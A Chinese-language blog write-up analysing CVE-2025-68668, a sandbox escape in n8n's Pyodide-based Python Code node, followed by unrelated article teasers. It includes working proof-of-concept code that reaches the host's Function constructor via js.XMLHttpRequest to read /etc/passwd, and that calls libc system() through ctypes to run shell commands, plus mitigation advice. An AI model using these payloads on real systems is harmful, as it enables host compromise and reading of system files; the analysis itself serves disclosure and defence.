news 2026/3/13 9:53:21

破笼之鸟:n8n 沙箱逃逸漏洞 (CVE-2025-68668) 深度剖析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
破笼之鸟:n8n 沙箱逃逸漏洞 (CVE-2025-68668) 深度剖析

1. 漏洞概述

随着 AI Agent 和自动化工作流(Agentic Workflow)在 2025 年的全面爆发,像n8nDify这样允许用户嵌入自定义代码逻辑的平台,正面临前所未有的安全挑战。

CVE-2025-686682026年1月最新披露的一个严重沙箱逃逸漏洞。该漏洞存在于 n8n 的 Python 代码节点(Python Code Node)中。在 n8n 1.0.0 至 2.0.0 之前的版本中,虽然引入了Pyodide(基于 WASM 的 Python 运行时)作为沙箱环境来隔离用户代码,但由于其初始化逻辑存在严重的“黑名单”设计缺陷,攻击者可以通过特定的对象引用链逃逸出虚拟环境,进而在宿主机上执行任意命令。

2. 漏洞环境与防护逻辑分析

n8n 使用Pyodide在 Node.js 环境中模拟 Python 运行。为了防止恶意操作,开发者在/nodes/Code/Pyodide.js中构建了一套防护机制。

脆弱的“黑名单”防线

在初始化 Pyodide 实例时,n8n 注入了一段 Python 脚本来禁用危险函数:

Python

# [Pyodide.js 中的防护逻辑] # 定义一个阻断函数,调用即报错 def blocked_function(*args, **kwargs): raise RuntimeError("Blocked for security reasons") # 1. 覆盖 os.system (防止命令执行) os.system = blocked_function # 2. 阻止 JS 构造函数 (防止获取 JS Function) Object.constructor.constructor = blocked_function # 3. 替换 js 模块 (防止 Python 与 JS 交互) sys.modules['js'] = blocked_module()

这种防御策略存在典型的逻辑漏洞:仅封堵了已知路径,却忽略了上下文中的“漏网之鱼”。

3. 逃逸路径一:宿主对象引用污染 (Prototype Chain Pollution)

这是利用 Node.js 与 Pyodide 交互机制的经典逃逸手法。攻击者利用外部传入的宿主对象,反向推导出了宿主环境的根对象。

原理分析

在沙箱初始化时,为了支持网络请求,n8n 将宿主环境的XMLHttpRequest对象直接注入到了沙箱的全局变量jsglobals中。

JavaScript

// [Pyodide.js] const context = (0, node_vm_1.createContext)({ // ... jsglobals: { // 致命错误:将宿主环境的 XMLHttpRequest 原型暴露给了沙箱 XMLHttpRequest, // ... }, });

尽管 n8n 封锁了沙箱内部对象的constructor,但它无法封锁从外部传入的XMLHttpRequest对象的原型链

攻击利用链

  1. 恢复模块:虽然sys.modules['js']被替换,但通过del sys.modules['js']后重新import js,即可恢复与 JS 环境的桥接。

  2. 获取跳板:访问js.XMLHttpRequest(这是来自宿主的漏网之鱼)。

  3. 原型链攀爬js.XMLHttpRequest是一个类(函数),在 JS 中,所有函数的构造器都是Function。因此,js.XMLHttpRequest.constructor指向的就是宿主环境的 Function 构造器

  4. 任意代码执行:拥有了宿主的Function构造器,攻击者就可以构造new Function("return process")(),从而获得宿主的process对象,进而require('child_process')

PoC:读取敏感文件

Python

import sys # 1. 绕过模块封锁 if 'js' in sys.modules: del sys.modules['js'] import js try: # 2. 获取宿主 Function 构造器 # 绕过 Object.constructor 限制,走 XHR -> Function 路径 HostFunction = js.XMLHttpRequest.constructor # 3. 在宿主 Node.js 环境执行代码 # 类似于在 Node.js 中执行: const real_process = (new Function("return process"))() get_process = HostFunction("return process") real_process = get_process() # 4. 加载 fs 模块读取 /etc/passwd require = real_process.mainModule.require fs = require('fs') content = fs.readFileSync('/etc/passwd', 'utf-8') return {"file_content": content} except Exception as e: return {"error": str(e)}

4. 逃逸路径二:FFI 穿透 (ctypes)

如果说第一种路径是利用了 JS 互操作性的漏洞,第二种路径则是利用了 Python 语言特性对操作系统底层能力的直接调用。

原理分析

开发者只封禁了os.system。在 Python 中,os.system只是执行命令的一种方式,底层是调用 C 语言标准库(libc)。

Python 的ctypes库是一个外部函数接口(FFI)库,它允许 Python 代码直接加载动态链接库(.so/.dll)并调用其中的 C 函数。n8n 的沙箱策略完全遗漏了对ctypes的限制。

如图所示:

  • 被封堵路径:用户 ->os.system->blocked_function-> 拦截。

  • 逃逸路径:用户 ->ctypes-> 加载libc.so-> 直接调用 C 语言system()-> 操作系统内核。

PoC:执行系统命令

Python

import ctypes # 1. 加载标准 C 库 (Linux/macOS 下通常能自动找到 libc) libc = ctypes.CDLL(None) # 2. 定义函数签名 libc.system.argtypes = [ctypes.c_char_p] libc.system.restype = ctypes.c_int # 3. 直接调用底层的 system 函数执行命令 # 绕过了 Python 层的所有 Hook cmd = b'echo "Pwned via ctypes" > /tmp/n8n_pwned.txt' libc.system(cmd) return {"status": "Command Executed via FFI"}

5. 总结与防御

CVE-2025-68668再次印证了在应用层实现沙箱的极高难度。仅仅依赖“禁用危险函数”的黑名单策略,在现代语言丰富的反射(Reflection)和互操作(Interop)特性面前不堪一击。

修复方案

  1. 升级 n8n:请立即升级到2.0.0及以上版本。新版本重构了沙箱机制。

  2. 严格白名单:在 Pyodide 初始化时,应移除XMLHttpRequest等所有非必要的宿主对象注入。

  3. 内核级隔离:对于允许用户运行代码的 AI Agent 平台,最安全的方案不是依赖语言沙箱,而是将执行环境放入gVisorFirecracker或无网络权限的 Docker 容器中,从操作系统层面切断逃逸路径。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/5 14:08:52

Keil5芯片包下载安装指南:手把手教程(从零实现)

Keil5芯片包下载安装指南:从零构建嵌入式开发环境(实战详解) 一个常见的“拦路虎”:为什么我的Keil找不到STM32? 你是否遇到过这样的场景?刚打开Keil Vision5,信心满满地准备创建新项目&#…

作者头像 李华
网站建设 2026/3/10 14:44:23

哈希表结构:使用开放地址法解决哈希冲突

一、核心原理 1. 数据存储结构 // 每个 Thread 对象内部都有一个 ThreadLocalMap ThreadLocal.ThreadLocalMap threadLocals null;// ThreadLocalMap 内部使用 Entry 数组&#xff0c;Entry 继承自 WeakReference<ThreadLocal<?>> static class Entry extends We…

作者头像 李华
网站建设 2026/3/11 23:51:18

dLocalMap 内部使用 Entry 数组

一、核心原理 1. 数据存储结构 // 每个 Thread 对象内部都有一个 ThreadLocalMap ThreadLocal.ThreadLocalMap threadLocals null;// ThreadLocalMap 内部使用 Entry 数组&#xff0c;Entry 继承自 WeakReference<ThreadLocal<?>> static class Entry extends We…

作者头像 李华
网站建设 2026/3/10 12:27:03

Nginx作用以及应用场景

一、Nginx 的作用 1. HTTP 服务器 Nginx 最初是作为一个 HTTP 服务器开发的&#xff0c;并且它仍然在这个领域中扮演着非常重要的角色。作为 HTTP 服务器&#xff0c;Nginx 主要用于静态内容的服务&#xff0c;如 HTML 文件、图像、视频和其他资源。与传统的 Apache HTTP 服务器…

作者头像 李华
网站建设 2026/3/13 19:57:47

MATLAB实现局部敏感哈希(LSH)学习算法详解

局部敏感哈希(LSH)学习算法在MATLAB中的实现与解析 局部敏感哈希(Locality-Sensitive Hashing,简称LSH)是一种经典的无监督哈希方法,广泛应用于大规模近似最近邻搜索任务。其核心优势在于实现极其简单、无需复杂优化,却能提供理论上的碰撞概率保证:原始空间中距离较近…

作者头像 李华
网站建设 2026/2/22 10:40:23

基于STM32MP157的工业网关实战:Modbus RTU转MQTT协议转换器设计

文章目录摘要一、项目架构设计硬件连接示意图二、开发环境搭建三、Modbus驱动实现文件&#xff1a;modbus_driver.c四、MQTT客户端开发文件&#xff1a;mqtt_client.c五、协议转换核心逻辑数据映射表示例文件&#xff1a;gateway_main.c六、系统测试方案压力测试结果七、完整技…

作者头像 李华